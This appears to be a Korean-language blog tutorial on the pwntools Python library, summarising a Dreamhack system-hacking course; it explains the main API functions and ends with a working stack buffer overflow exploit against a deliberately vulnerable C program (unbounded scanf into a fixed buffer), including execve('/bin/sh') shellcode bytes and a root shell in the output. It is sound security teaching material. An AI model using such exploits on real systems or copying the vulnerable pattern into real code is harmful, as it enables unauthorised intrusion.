Exploit 코드 작성을 위한 pwntools 라이브러리 사용법

Exploit 코드 작성을 위한 pwntools 라이브러리 사용법

in

해당 내용은 Dreamhack의 System Hacking 로드맵 내용을 정리한 것 입니다.

image Gallopsled/pwntools

pwntools는 Exploit 코드를 쉽게 짤 수 있게 해주는 Python 라이브러리 입니다.
간단한 프로그램에 대해서는 아래와 같이 파이썬으로 공격 페이로드를 생성하고, 파이프를 통해 프로그램에 전달하는 방식으로 Exploit을 수행할 수 있습니다.

$ (python -c "print 'A'*0x30 + 'B'*0x8 + '\xa7\x05\x40\x00\x00\x00\x00\x00'";cat)| ./program

그러나 익스플로잇이 조금만 복잡해져도 위와 같은 방식은 사용하기 어려워집니다.
페이로드를 생성하기 위해 복잡한 연산을 해야 할 수도 있고, 프로세스와 반복적으로 데이터를 주고받아야 할 수도 있습니다.
그래서 해커들은 Perl, Python, C와 같은 언어들로 Exploit 스크립트 또는 바이너리를 직접 제작하여 사용해 왔습니다.

아래는 Socket 모듈을 사용한 초기 파이썬 익스플로잇 스크립트의 예입니다.

#!/usr/bin/env python2
import socket

# Remote host and port
RHOST = "127.0.0.1"
RPORT = 31337

# Make TCP connection
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))

# Build payload
payload = ""
payload += "Socket script"
payload += "\n"

# Send payload
s.send(payload)

# Print received data
data = s.recv(1024)
print "Received: {0}".format(data)

파이썬으로 여러가지의 익스플로잇 스크립트를 작성하다 보면, 자주 사용하게 되는 함수들이 있습니다. 예를 들어 정수를 리틀 엔디언의 바이트 배열로 바꾸는 패킹 함수, 또는 그 역을 수행하는 언패킹 함수 등은 익스플로잇 과정에 거의 항상 필요합니다.

이런 함수들을 반복적으로 구현하는 것은 비효율적입니다. 그래서 시스템 해커들은 이들을 집대성하여 pwntools라는 파이썬 모듈을 제작하였습니다.

pwntools덕분에 익스플로잇 제작은 전과 비교할 수 없을 정도로 간단하고, 쉬워졌습니다. 이제는 익스플로잇의 대부분이 pwntools를 이용하여 제작 및 공유되므로 시스템 해킹 공부를 시작하는 시점에서, 이 모듈의 사용법을 간단히 배워둘 필요가 있습니다.

아래는 위 초기 파이썬 Explot 스크립트를 pwntools 모듈을 이용해 재구현 한 것입니다.

#!/usr/bin/python3
from pwn import *

# Make TCP connection
r = remote("127.0.0.1", 31337)

# Build payload
payload = ""
payload += "Socket script"
payload += "\n"

# Send payload
r.send(payload)

# Print received data
data = r.recv(1024)
print(f"Received: {data}")

이 글에서는 설치 방법 및 자주쓰이는 함수들에 대해서 간단히 알아보고 실습을 진행합니다.

Pwntools 설치

pwntools는 오픈소스 모듈이며 아래 공식 github 페이지를 참조하여 쉽게 설치할 수 있습니다.
https://github.com/Gallopsled/pwntools

$ apt-get update
$ apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
$ python3 -m pip install --upgrade pip
$ python3 -m pip install --upgrade pwntools

아래와 같이 pwntools를 임포트했을 때, 에러가 발생하지 않으면 제대로 설치된 것입니다.

$ python3
Python 3.6.9 (default, Apr 18 2020, 01:56:04)
[GCC 8.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>>

Pwntools API 사용법

Pwntools 에서 자주 사용하는 함수들에 대해서 간단히 알아보겠습니다.

Pwntools API 공식 메뉴얼은 아래 링크에서 열람 가능합니다.
http://docs.pwntools.com/en/latest/

1) process & remote

  • process: 로컬 바이너리를 대상으로 Exploit 할 때 사용하는 함수 입니다.
  • remote: 원격 서버를 대상으로 Exploit 할 때 사용하는 함수입니다.

process는 보통 익스플로잇을 테스트하고 디버깅하기 위해, 그리고 remote는 대상 서버를 실제로 공격하기 위해 사용합니다. 또한 process 객체를 대상으로 사용가능한 모든 함수는 remote 객체에서도 사용할 수 있습니다.

from pwn import *
p = process('./test') #로컬 바이너리 'test'를 대상으로 익스플로잇 수행
p = remote('example.com',31337) #'example.com'의 31337 포트에서 실행 중인 프로세스를 대상으로 익스플로잇 수행

2) send

send는 데이터를 프로세스에 전송하기 위해 사용합니다. pwntools에는 이와 관련된 다양한 함수가 정의되어 있습니다.

from pwn import *

p = process('./test')
p.send('A') # ./test에 'A'를 입력
p.sendline('A') # ./test에 'A'+'\n'을 입력
p.sendafter('hello','A') # ./test가 'hello'를 출력하면, 'A'를 입력
p.sendlineafter('hello','A') # ./test가 'hello'를 출력하면, 'A' + '\n'을 입력

3) recv

recv는 ‘receive’의 약자로 프로세스로부터 데이터를 받기 위해서 사용됩니다. 마찬가지로 pwntools에는 데이터를 받기 위한 다양한 함수들이 정의되어 있습니다.

자주 사용되는 함수로는 recvrecvn이 있으며 이 둘의 차이점은 필수적으로 알아두는것이 좋습니다.

  • recv(n): 최대 n Byte를 받는 것이며 지정한 바이트 만큼을 받지 못해도 에러를 발생시키지 않고 받은 데이터를 출력 해줍니다.
  • recvn(n): 정확히 n Byte 만큼의 데이터를 받지 못하면 데이터를 출력 하지않고 EOF error를 발생하거나 n Byte 만큼의 데이터를 받을때 까지 계속 대기합니다.
from pwn import *

p = process('./test')
data = p.recv(1024) #p가 출력하는 데이터를 최대 1024바이트까지 받아서 data에 저장
data = p.recvline() #p가 출력하는 데이터를 개행문자를 만날 때까지 받아서 data에 저장
data = p.recvn(5) #p가 출력하는 데이터를 5바이트만 받아서 data에 저장
data = p.recvuntil('hello') #p가 출력하는 데이터를 'hello'가 출력될 때까지 받아서 data에 저장
data = p.recvall() #p가 출력하는 데이터를 프로세스가 종료될 때까지 받아서 data에 저장

4) Packing & UnPacking

Exploit을 작성하다 보면 특정 값을 Little Endian의 Byte Array로 변경하거나, 역의 과정을 수행해야 하는 경우가 자주 발생합니다. pwntools에는 이러한 상황에서 사용할 수 있는 함수들이 정의되어 있습니다.
p는 packing, u는 unpacking으로 알아두시면 쉽습니다.

#!/usr/bin/python3
#Name: pup.py
from pwn import *

s32 = 0x41424344
s64 = 0x4142434445464748

print(p32(s32)) # p32 => 32bit little endian 으로 packing 해주는 함수입니다.
print(p64(s64)) # p64 => 64bit little endian 으로 packing 해주는 함수입니다.

s32 = "ABCD"
s64 = "ABCDEFGH"

print(hex(u32(s32))) # u32 => 32bit little endian 을 unpack 해주는 함수입니다.
print(hex(u64(s64))) # u64 => 32bit little endian 을 unpack 해주는 함수입니다.

출력 결과는 아래와 같습니다.

$ python3 pup.py
# Little Endian으로 packing하여 출력
b'DCBA'
b'HGFEDCBA'

# Little Endian을 Unpacking하여 hex data로 출력
0x44434241
0x4847464544434241

5) interactive

interactive는 “상호 작용”이라는 의미 그대로, shell을 획득 했거나 익스플로잇의 특정 상황에 직접 입력을 주면서 출력을 확인하고 싶을 때 사용하는 함수입니다.
호출하고 나면 터미널로 프로세스에 데이터를 입력하고, 프로세스의 출력을 확인할 수 있습니다.

from pwn import *

p = process('./test')
p.interactive()

6) ELF

ELF 헤더에는 Exploit에 활용될 수 있는 각종 정보들이 있습니다.
pwntools를 사용하면 해당 정보들을 쉽게 참조할 수 있습니다.

from pwn import *

e= ELF('./test')
puts_plt = e.plt['puts'] # ./test에서 puts()의 PLT주소를 찾아서 puts_plt에 저장
read_got = e.got['read'] # ./test에서 read()의 GOT주소를 찾아서 read_got에 저장

7) context.log

Exploit에 버그가 발생하면 Exploit을 대상으로도 debugging을 수행해야 합니다.
pwntools에는 debugging을 돕는 logging 기능이 있으며 log level은 “context.log_level” 변수로 조절 가능합니다.

from pwn import *

context.log_level = 'error' # 에러만 출력
context.log_level = 'debug' # 대상 프로세스와 익스플로잇간에 오가는 모든 데이터를 화면에 출력
context.log_level = 'info'  # 비교적 중요한 정보들만 출력

8) context.arch

pwntools는 셸코드를 생성하거나, 코드를 어셈블, 디스어셈블하는 기능 등을 가지고 있는데, 이들은 공격 대상의 아키텍처에 영향을 받습니다.
그래서 pwntools는 아키텍처 정보를 프로그래머가 지정할 수 있게 하며, 이 값에 따라 몇몇 함수들의 동작이 달라집니다.

from pwn import *

context.arch = "amd64" # x86-64 아키텍처
context.arch = "i386"  # x86 아키텍처
context.arch = "arm"   # arm 아키텍처

9) shellcraft

pwntools에는 자주 사용되는 셸 코드들이 저장되어 있어서, 공격에 필요한 셸 코드를 쉽게 꺼내 쓸 수 있게 해줍니다. 이는 매우 편리한 기능이지만 정적으로 생성된 셸 코드는 셸 코드가 실행될 때의 메모리 상태를 반영하지 못합니다.

또한 프로그램에 따라 입력할 수 있는 셸 코드의 길이나 구성 가능한 문자의 종류에 제한이 있을 수 있는데 이런 조건들도 반영하기 어렵습니다. 따라서 제약 조건이 존재하는 상황에서는 직접 셸 코드를 작성하는 것이 좋습니다.

아래 링크에서 x86-64를 대상으로 생성할 수 있는 여러 종류의 셸 코드를 찾아볼 수 있습니다. https://docs.pwntools.com/en/stable/shellcraft/amd64.html

#!/usr/bin/python3
#Name: shellcraft.py
from pwn import *

context.arch = 'amd64' # 대상 아키텍처 x86-64
code = shellcraft.sh() # 셸을 실행하는 셸 코드 
print(code)
$ python3 shellcraft.py
    /* execve(path='/bin///sh', argv=['sh'], envp=0) */
    /* push b'/bin///sh\x00' */
    push 0x68
    mov rax, 0x732f2f2f6e69622f
    ...
    syscall

10) asm

pwntools는 어셈블 기능을 제공합니다. 이 기능도 대상 아키텍처가 중요하므로, 아키텍처를 미리 지정해야 합니다.

#!/usr/bin/python3
#Name: asm.py
from pwn import *

context.arch = 'amd64' # 익스플로잇 대상 아키텍처 'x86-64'
code = shellcraft.sh() # 셸을 실행하는 셸 코드
code = asm(code)       # 셸 코드를 기계어로 어셈블
print(code)
$ python3 asm.py
b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'

Exploit 실습

아래는 buffer overflow가 발생하는 예제 코드입니다.

// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>

void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};
  execve(cmd, args, NULL);
}
int main() {
  char buf[0x28];
  printf("Input: ");
  scanf("%s", buf);
  return 0;
}

코드를 분석해보면, 0x28의 크기를 갖는 buf에 scanf 함수를 통해 크기제한 없이 입력을 받게 됩니다. 이를 이용해 main 함수의 return address를 get_shell의 시작주소로 변조시켜서 “/bin/sh”를 실행하도록 할 수 있습니다.

참고로 해당 프로그램은 아래처럼 Python을 이용해서 간단하게 Exploit이 가능합니다.

$ (python -c 'print "A" * 56 + "\xa7\x05\x40\x00\x00\x00\x00\x00"';cat) | ./rao

그러나 pwntools에 익숙해 지는것이 목적이므로 Exploit 코드를 직접 작성해보면 아래와 같습니다.

#!/usr/bin/python3
#Name: rao.py
from pwn import *          # Import pwntools module

p = process('./rao')       # Spawn process './rao'
get_shell = 0x4005a7       # Address of get_shell() is 0x4005a7

payload = b"A"*0x30        #|       buf      |  <= "A"*0x30
payload += b"B"*0x8        #|       SFP      |  <= "B"*0x8
payload += p64(get_shell)  #| Return address |  <= "\xa7\x05\x40\x00\x00\x00\x00\x00"

p.sendline(payload)        # Send payload to './rao'

p.interactive()            # Communicate with shell

실행 결과는 아래와 같습니다.

root@dohyeon:~/pwnable# python3 rao.py
[+] Starting local process './rao': pid 20140
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)

image Exploit

마치며

이상 pwntools의 간략한 사용법을 알아보았습니다.